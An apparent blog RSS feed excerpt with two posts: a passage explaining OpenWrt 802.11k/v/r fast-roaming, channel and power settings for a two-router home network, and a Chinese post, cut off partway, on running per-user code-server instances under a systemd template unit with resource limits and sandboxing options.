&lt;p&gt;Disables &lt;strong&gt;Time Advertisement&lt;/strong&gt;. 802.11v includes a Time Advertisement function where the AP can broadcast time information to clients. Time synchronization from the AP is generally not needed in a home Wi‑Fi roaming scenario, so this is set to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;h5&gt;2.4 &lt;code&gt;wnm_sleep_mode=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Disables &lt;strong&gt;WNM Sleep Mode&lt;/strong&gt;. WNM Sleep Mode is part of 802.11v and is mainly used for client power saving. The client can enter a special sleep state while the AP retains some context for it.
This feature is typically not relied upon in home routers or multi-AP roaming scenarios, and compatibility with some devices may be problematic, so it is disabled here.&lt;/p&gt;
&lt;h4&gt;3. 802.11r: Fast Transition / Fast Roaming&lt;/h4&gt;
&lt;p&gt;Related configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211r=&apos;1&apos;
uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
uci set wireless.ath0.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath0.ft_over_ds=&apos;0&apos;
uci set wireless.ath0.ft_psk_generate_local=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.1 &lt;code&gt;ieee80211r=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;802.11r Fast BSS Transition&lt;/strong&gt;.
The purpose of 802.11r is to shorten the authentication and reassociation time when a client switches from one AP to another. During a normal roam, the client may need to complete an entire authentication process again. 802.11r pre-derives part of the key material, allowing for a faster transition when the client decides to switch.&lt;/p&gt;
&lt;p&gt;It does not dictate &lt;em&gt;when&lt;/em&gt; the client should roam, but when the client &lt;em&gt;does&lt;/em&gt; decide to roam, it makes the handover process faster.&lt;/p&gt;
&lt;p&gt;Suitable for scenarios like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Moving a phone between rooms&lt;/li&gt;
&lt;li&gt;Voice calls&lt;/li&gt;
&lt;li&gt;Video conferencing&lt;/li&gt;
&lt;li&gt;Gaming&lt;/li&gt;
&lt;li&gt;Multi-AP same-SSID environments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Most modern devices support 802.11r&lt;/li&gt;
&lt;li&gt;Some older or less compatible IoT devices may not like 802.11r&lt;/li&gt;
&lt;li&gt;If you encounter devices that fail to connect, suspect 802.11r compatibility first&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 &lt;code&gt;mobility_domain=&apos;cafe&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Sets the &lt;strong&gt;Mobility Domain&lt;/strong&gt;. The Mobility Domain is the roaming domain identifier for 802.11r. Only APs within the same Mobility Domain will be considered by clients as part of the same fast roaming domain.&lt;/p&gt;
&lt;p&gt;For a given SSID, all APs participating in 802.11r fast roaming should use the same &lt;code&gt;mobility_domain&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here we use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cafe&lt;/code&gt; is a 16-bit hexadecimal value (exactly 4 hex characters), akin to a magic number like DEADBEEF.
This value can be customized, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mobility_domain=&apos;1234&apos;
mobility_domain=&apos;abcd&apos;
mobility_domain=&apos;beef&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It must be identical within the same roaming network&lt;/li&gt;
&lt;li&gt;It can differ between independent networks&lt;/li&gt;
&lt;li&gt;It must be a 4-character hexadecimal string&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 &lt;code&gt;reassociation_deadline=&apos;1000&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Sets the &lt;strong&gt;reassociation deadline&lt;/strong&gt;. This parameter indicates the maximum time window allowed for the client to complete a Fast Transition reassociation. The unit is typically understood as TU (1 TU ≈ 1.024 ms). &lt;code&gt;1000&lt;/code&gt; TU is approximately 1 second.&lt;/p&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After the client initiates fast roaming, it needs to complete the reassociation within this time window.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In a home network, &lt;code&gt;1000&lt;/code&gt; is a common, lenient, and safe choice. Too short a deadline might prevent some devices from completing the switch in time; too long generally offers no obvious benefit.&lt;/p&gt;
&lt;h5&gt;3.4 &lt;code&gt;ft_over_ds=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Sets the Fast Transition method for 802.11r.
802.11r has two common modes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;FT over the Air&lt;/li&gt;
&lt;li&gt;FT over DS
Here we use FT over the Air:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ft_over_ds=&apos;0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(i.e., &lt;code&gt;ft_over_ds&lt;/code&gt; is disabled, which enables FT over the Air).&lt;/p&gt;
&lt;h6&gt;FT over the Air&lt;/h6&gt;
&lt;p&gt;The client performs the fast transition directly with the target AP. This is the more common and intuitive method in non-enterprise environments.&lt;/p&gt;
&lt;h6&gt;FT over DS&lt;/h6&gt;
&lt;p&gt;The client communicates with the target AP through the currently connected AP over the distribution system. The networked device first contacts the new AP via the old AP, then completes the switch. In an actual home OpenWrt/QWRT multi-AP setup, it doesn&apos;t provide a significant advantage and may introduce device compatibility issues.&lt;/p&gt;
&lt;h5&gt;3.5 &lt;code&gt;ft_psk_generate_local=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Allows the local AP to generate the keys required for 802.11r based on the PSK. In home network scenarios using WPA-PSK / SAE Mixed, the AP can locally derive the necessary key material for Fast Transition using the Wi‑Fi password.&lt;/p&gt;
&lt;p&gt;Home networks typically do not have an enterprise authentication server, so this parameter can simply be turned on.
Applicable scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WPA2-PSK&lt;/li&gt;
&lt;li&gt;WPA2/WPA3 Mixed&lt;/li&gt;
&lt;li&gt;SAE mixed (depending on firmware support)&lt;/li&gt;
&lt;li&gt;Ordinary home networks without RADIUS&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. NAS ID: Unique Identity for Each BSS&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.nasid=&apos;Master_2_4G&apos;
uci set wireless.ath1.nasid=&apos;Master_5G&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4.1 &lt;code&gt;nasid=&apos;Master_2_4G&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;nasid&lt;/code&gt; stands for NAS Identifier, which is the identity of the current BSS. In 802.11r scenarios, it is used to differentiate between different APs / BSSs. Every wireless interface participating in roaming should have a unique &lt;code&gt;nasid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, on the main router:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ath0 -&amp;gt; Master_2_4G
ath1 -&amp;gt; Master_5G
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And correspondingly on the satellite router:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2.4G -&amp;gt; Slave_2_4G
5G   -&amp;gt; Slave_5G
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5. Why Configure the Same Parameters for All ath Interfaces?&lt;/h4&gt;
&lt;p&gt;Because &lt;code&gt;ath0&lt;/code&gt;, &lt;code&gt;ath1&lt;/code&gt;, and &lt;code&gt;ath2&lt;/code&gt; are three distinct wireless BSSs. Even if they broadcast the same SSID, they remain independent wireless interfaces within the system. Therefore, the 802.11k/v/r parameters must be applied to each interface separately.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This set of parameters can be summarized as:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211k&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;Enable radio resource measurement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rrm_neighbor_report&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;Allow AP to provide neighbor AP list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rrm_beacon_report&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;Allow client to report scanned beacon information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;Enable wireless network management capabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bss_transition&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;Allow AP to send roaming suggestions to clients&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;time_advertisement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;Time advertisement; typically disabled in home roaming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wnm_sleep_mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;WNM power saving mode; typically disabled in home roaming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;Enable fast roaming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nasid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r / hostapd&lt;/td&gt;
&lt;td&gt;Identifies current BSS; recommended to be unique&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mobility_domain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;Sets fast roaming domain; must be consistent across all APs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;reassociation_deadline&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;Sets the time window for fast reassociation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ft_over_ds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;Selects FT method; &lt;code&gt;0&lt;/code&gt; means FT over the Air&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ft_psk_generate_local&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;Generate FT keys locally based on PSK&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Satellite Router&lt;/h3&gt;
&lt;p&gt;You can directly enable the corresponding settings in LuCI. Refer to my configuration:
&lt;img src=&quot;./images/2026/07/2347885645.png&quot; alt=&quot;Pasted image 20260708105809.png&quot; /&gt;
Apply the same settings to all three wireless interfaces, ensuring the NAS ID is unique for each.&lt;/p&gt;
&lt;p&gt;Also, make sure the encryption settings are exactly the same on both ends. 802.11r only reduces the re-authentication time during roaming, but it requires that APs within the same roaming domain have consistent parameters: SSID, password, encryption method, Mobility Domain, etc.&lt;/p&gt;
&lt;p&gt;If the main router uses WPA2-PSK and the satellite uses WPA2/WPA3 Mixed, or if one enables SAE/FT-SAE while the other only enables FT-PSK, clients may not be able to use the same Fast Transition process during roaming. This can manifest as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Brief disconnection of the Wi‑Fi icon during roaming;&lt;/li&gt;
&lt;li&gt;Re-performing the 4-Way Handshake after switching;&lt;/li&gt;
&lt;li&gt;Stuttering in voice/video calls;&lt;/li&gt;
&lt;li&gt;Inability of some IoT devices to connect.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, if the priority is stable whole-home roaming, it is recommended that all APs participating in the same SSID roaming use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WPA2-PSK / AES-CCMP / FT-PSK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which in OpenWrt/QWRT is commonly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;encryption=&apos;psk2+ccmp&apos;
ieee80211r=&apos;1&apos;
ft_psk_generate_local=&apos;1&apos;
ft_over_ds=&apos;0&apos;
mobility_domain=&apos;cafe&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WPA3/SAE can be put on a separate SSID for newer devices, and should not be mixed with the IoT / whole-home roaming main SSID.&lt;/p&gt;
&lt;h2&gt;Frequency Band Analysis&lt;/h2&gt;
&lt;p&gt;My home network environment is relatively complex. The main router is located in the center of the living room, which is openly connected to the kitchen and balcony, so the main router&apos;s signal can directly cover those areas. The satellite router is in the study, with bedrooms on both sides. The study and living room are connected by a short hallway, and Bedroom A is separated from the living room by the bathroom:
&lt;img src=&quot;./images/2026/07/3557868203.png&quot; alt=&quot;Pasted image 20260708082010.png&quot; /&gt;
The two asterisks mark the main router (living room) and the satellite router (study).&lt;/p&gt;
&lt;p&gt;The frequency band data collected in each room is as follows:
&lt;img src=&quot;./images/2026/07/4257895818.png&quot; alt=&quot;Pasted image 20260708084918.png&quot; /&gt;
Master Bedroom&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/44352545.png&quot; alt=&quot;Pasted image 20260708085100.png&quot; /&gt;
Study (the high red peak here is from the satellite router)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/2475544166.png&quot; alt=&quot;Pasted image 20260708085258.png&quot; /&gt;
Second Bedroom&lt;/p&gt;
&lt;p&gt;It can be observed that the channel in the master bedroom is fairly clean, the study has a strong signal thanks to the satellite router, but the second bedroom suffers from severe interference, coupled with a weaker signal. Additionally, our two APs (the two strongest red Wi‑Fi signals) are currently both crowded onto the same channels, resulting in actual speed tests of only about 80 Mbps.&lt;/p&gt;
&lt;p&gt;Therefore, we need to make some minor adjustments to the channels and power levels, and also configure 802.11 k/v/r.&lt;/p&gt;
&lt;h2&gt;Tuning Power and Channels&lt;/h2&gt;
&lt;p&gt;The goal is to separate the channels and adjust coverage to reduce clients sticking to a distant access point. I used AI suggestions as a starting point; the settings still need to be checked against room layout, interference, and client behavior.&lt;/p&gt;
&lt;h3&gt;1. Channel Strategy: Reduce Interference Between the APs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4 GHz (Main 1 / Satellite 11):&lt;/strong&gt; With the 20 MHz width used here, channels 1 and 11 reduce overlap between the two APs. The familiar 1/6/11 plan follows the same idea, but it does not remove interference from neighboring Wi-Fi, Bluetooth, or other sources.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5 GHz (Main 36 / Satellite 52):&lt;/strong&gt; These settings use separate 80 MHz channel blocks. Channel 52 is subject to DFS; availability depends on local regulations and device support, and radar detection may require a channel change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This reduces contention between my APs. It does not guarantee the lowest noise floor or maximum throughput, so the actual operating channels and room coverage still need checking.&lt;/p&gt;
&lt;h3&gt;2. Bandwidth Strategy: Balance Interference and Speed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4 GHz at 20 MHz:&lt;/strong&gt; This occupies less spectrum than 40 MHz and suits coverage and IoT use in my crowded environment. It does not directly guarantee greater range or fewer dropouts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5 GHz at 80 MHz:&lt;/strong&gt; This is my main access band, balancing speed and spectrum use. In a more congested environment, a narrower channel may be worth testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Power Strategy: Adjust Coverage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4 GHz at 18 dBm / 20 dBm:&lt;/strong&gt; The aim is to reduce excessive overlap and make distant APs less attractive. Lowering power too far can leave coverage gaps, so walking tests are needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5 GHz at 24 dBm / 23 dBm:&lt;/strong&gt; The aim is to retain fast coverage in the rooms. Actual power remains subject to hardware and regulatory limits; increasing AP transmit power does not increase the phone&apos;s return-path capability.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These settings may influence band and AP selection, but they are not a dedicated band-steering mechanism and cannot force clients to prefer 5 GHz.&lt;/p&gt;
&lt;h3&gt;4. Roaming Coordination&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;11k (Neighbor Report) + 11v (BSS Transition Management):&lt;/strong&gt; These provide supported clients with candidate AP information and transition suggestions. Whether suggestions are sent depends on the AP implementation and configuration; clients decide whether to accept them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;11r (Fast Transition):&lt;/strong&gt; With matching SSID, security, and mobility-domain settings, this reduces key-negotiation overhead during a transition. Ordinary roaming does not require retyping the password either. Enabling 11r alone does not establish that a transition has no packet loss or service interruption.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;The initial configuration and explanation drew on Gemini suggestions. The observations below describe the actual results.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The final configuration for band, bandwidth, and power is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Main Router 192.168.3.1
&lt;ul&gt;
&lt;li&gt;2.4G: channel 1 / 20 MHz / 18 dBm&lt;/li&gt;
&lt;li&gt;5G: channel 36 / 80 MHz / 24 dBm&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Satellite Router 192.168.3.2
&lt;ul&gt;
&lt;li&gt;2.4G: channel 11 / 20 MHz / 20 dBm&lt;/li&gt;
&lt;li&gt;5G: channel 52 / 80 MHz / 23 dBm&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Results &amp;amp; Follow-up&lt;/h2&gt;
&lt;p&gt;In the final testing, connections defaulted to the main router in the living room, balcony, kitchen, and bathroom. In the second bedroom, it automatically switches to the satellite router. Closing the door in the study also triggers a switch from the main router to the satellite. It takes about 5 seconds from signal degradation to the actual switch. The master bedroom was inconsistent; sometimes it switches, sometimes it doesn&apos;t, but it switched in 3 out of 5 tests.&lt;/p&gt;
&lt;p&gt;The 5 seconds is the observed time from signal degradation to the transition, not a measured 5-second network outage. This record does not include packet-loss or authentication-time measurements during the transition, so it does not establish seamless roaming.&lt;/p&gt;
&lt;p&gt;Speed test after plugging into the 5 Gbps port:
&lt;img src=&quot;./images/2026/07/1200252525.png&quot; alt=&quot;950c5d4f29c767feff2e3e9ac9b140a9.png&quot; /&gt;
The actual measured downstream speed reached 1336.31 Mbps, and the upstream speed reached 158.16 Mbps. I guess that counts as a success?
However, the perceived improvement in daily use isn&apos;t huge because, at the time of testing, very few platforms could saturate such speeds. Combined with current carrier strategies like QoS, speeds are rarely maxed out. Still, multi-threaded download tools like IDM might be able to take better advantage of it, I suppose?&lt;/p&gt;
</content:encoded></item><item><title>充分利用systemd的特性构建多租户CodeServer</title><link>https://blog.iyoroy.cn/posts/279/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/279/</guid><description>为朋友共用的服务器部署按用户运行的 code-server，用 systemd 限制资源、监听密码配置变化，并为每个用户配置 Python venv，讨论这套方案的隔离边界。</description><pubDate>Sat, 06 Jun 2026 07:34:00 GMT</pubDate><content:encoded>&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;起因是大学Python课，不想每次课都带笔记本过去太重了，尝试能不能一个平板就搞定。找来找去发现&lt;a href=&quot;https://github.com/coder/code-server&quot;&gt;coder/code-server: VS Code in the browser&lt;/a&gt;很符合要求，同时还能兼顾跨平台。当时自己部署了一个玩玩，后来朋友他们也想要，就在思考怎么弄能够兼顾多用户使用和安全性。最开始考虑过容器化，后来想先用 Linux 用户和 venv 管理各自的文件与 Python 包，就选择了二进制部署。这里没有做容器和直接部署的性能对比。&lt;br /&gt;
需求很简单，大致概括如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每个用户可以用自己的域名登录进入CodeServer&lt;/li&gt;
&lt;li&gt;每个用户可以自己修改登录密码&lt;/li&gt;
&lt;li&gt;每个用户有独立的 Python 包环境，可自行安装 pip 包&lt;/li&gt;
&lt;li&gt;用户间不应该能互相访问到对方的文件&lt;/li&gt;
&lt;li&gt;防止用户误操作删掉系统关键组件&lt;/li&gt;
&lt;li&gt;防止用户误操作写出死循环之类的耗尽服务器资源&lt;/li&gt;
&lt;li&gt;防止用户利用服务器挖矿/做跳板攻击别人&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经过分析和与ai的讨论，最终定下来的方案大致是这样：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;利用 Linux 多用户机制，每个用户在自己的家目录下运行一个 CodeServer，通过文件所有权和权限限制互相访问。家目录应设置为仅本人可访问（如 &lt;code&gt;0700&lt;/code&gt;），仅仅创建不同用户并不会自动隐藏所有文件；域名接入还需要另外配置反向代理。&lt;/li&gt;
&lt;li&gt;监听端口根据uid计算。每个用户下手动创建一个venv，并通过.bashrc让用户启动shell的时候自动启用，解决需求3；&lt;/li&gt;
&lt;li&gt;利用 systemd 限制资源占用和部分进程行为，减少误操作的影响。这不能阻止所有挖矿或滥用网络的行为。&lt;/li&gt;
&lt;li&gt;利用systemd的Path机制监听&lt;code&gt;$HOME/.config/code-server/config.yaml&lt;/code&gt;的修改并自动重启daemon，使得用户可以通过修改配置文件来改登录密码，较为优雅地实现需求2。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;s&gt;对于7，我觉得根据大一同学的计算机水平倒是不用太担心（应该吧？）&lt;/s&gt;&lt;br /&gt;
没有直接断网是因为考虑到有些需求需要联网下软件包，或者可能涉及到爬虫操作什么的。目前仍允许普通 IPv4/IPv6 出站连接，因此这些限制不能代替出站访问控制和对滥用行为的管理。&lt;br /&gt;
本文讨论不涉及SELinux，因为个人认为当前需求使用SELinux有点过度设计了，并且我也对SELinux/SEPolicy不太熟（这才是主要原因吧233），同时也想尽量让用户在合理使用过程中不受限制，因此并未使用SELinux来限制。&lt;/p&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;h2&gt;配置systemd&lt;/h2&gt;
&lt;p&gt;下载下来codeserver二进制文件传到服务器上，比如我丢在&lt;code&gt;/usr/bin/code-server&lt;/code&gt;。然后编写systemd配置，创建&lt;code&gt;/etc/systemd/system/code-server@.service&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/systemd/system/code-server@.service
[Unit]
Description=Code-Server for %i
After=network.target

[Service]
Type=simple
User=%i
Group=%i
WorkingDirectory=/home/%i
MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
ReadWritePaths=/home/%i
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
# ExecStart=/bin/bash -c &quot;PASSWORD=$(echo -n &quot;%i&quot; | md5sum | cut -d&apos; &apos; -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password&quot;
ExecStart=/bin/bash -c &apos; \
    PORT=$((7000 + $(id -u %i) %% 10000)); \
    /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \
    &apos;
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里创建的文件名是&lt;code&gt;code-server@.service&lt;/code&gt;，&lt;code&gt;@&lt;/code&gt;之后的内容会被当作&lt;code&gt;%i&lt;/code&gt;替换。设计上是利用&lt;code&gt;%i&lt;/code&gt;传递用户名称，计算端口并自启动。端口计算逻辑是&lt;code&gt;7000+uid%10000&lt;/code&gt;，一般创建的uid是1000开始，因此正好按照创建顺序从8000开始监听端口。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ProtectSystem=strict&lt;/code&gt; 会让家目录也变成只读，因此用 &lt;code&gt;ReadWritePaths=/home/%i&lt;/code&gt; 显式允许当前用户的工作目录写入。这个选项不会授予额外的文件权限，仍需正确设置家目录的所有权和权限。venv 只用于分开管理 Python 包，不是阻止用户访问宿主机或其他文件的安全沙盒。&lt;/p&gt;
&lt;p&gt;值得注意的是这部分配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MemoryMax=1G
CPUQuota=150%
TasksMax=200
IOWeight=50
ProtectSystem=strict
PrivateTmp=yes
PrivateDevices=yes
NoNewPrivileges=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（我懒得解释了，让ai解释一下吧）
它主要分为两个方面：&lt;strong&gt;资源限制（Resource Control）&lt;/strong&gt; 和 &lt;strong&gt;安全沙盒隔离（Security and Sandboxing）&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;一、 资源限制 (Resource Control)&lt;/h3&gt;
&lt;p&gt;这部分利用 Linux 的 cgroups 机制，防止该服务消耗过多系统资源，影响其他程序运行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MemoryMax=1G&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 将该服务所在 cgroup 的内存使用上限设为 1 GiB。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 当服务所在 cgroup 的内存使用达到限制且无法通过回收缓解时，可能触发该组内的 OOM 处理。&lt;code&gt;1G&lt;/code&gt; 在这里表示 1 GiB。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CPUQuota=150%&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 限制该服务的 CPU 使用率最高为 150%。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 100% 代表一个完整的 CPU 核心。150% 意味着该服务最多可以占满一个核心，并使用第二个核心的一半（即最多使用 1.5 个 CPU 核心的算力）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;TasksMax=200&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 限制该服务可以创建的最大任务（进程或线程）数量为 200 个。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 防止服务因为遭遇漏洞或死循环（如 Fork Bomb）而无限创建子进程，从而耗尽系统 PID 资源使系统崩溃。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IOWeight=50&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 设置磁盘 I/O（输入/输出）的权重。默认值通常是 100。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 在底层设备和 I/O 控制器支持权重调度时，设置为 50 会降低它在竞争中的相对份额。这不是固定的读写速率上限，也不能保证其他服务不受影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;二、 安全与隔离 (Security &amp;amp; Isolation)&lt;/h3&gt;
&lt;p&gt;这部分限制服务对文件系统、设备和套接字的访问，用于减少误操作的影响及部分攻击路径。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ProtectSystem=strict&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 严格保护系统文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 将文件系统层级设为只读，特殊 API 文件系统及显式配置的可写路径除外。这里通过 &lt;code&gt;ReadWritePaths&lt;/code&gt; 保留用户家目录的写入能力；这种挂载限制不能替代内核漏洞修补。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrivateTmp=yes&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 为该服务提供独立的临时文件目录。&lt;/li&gt;
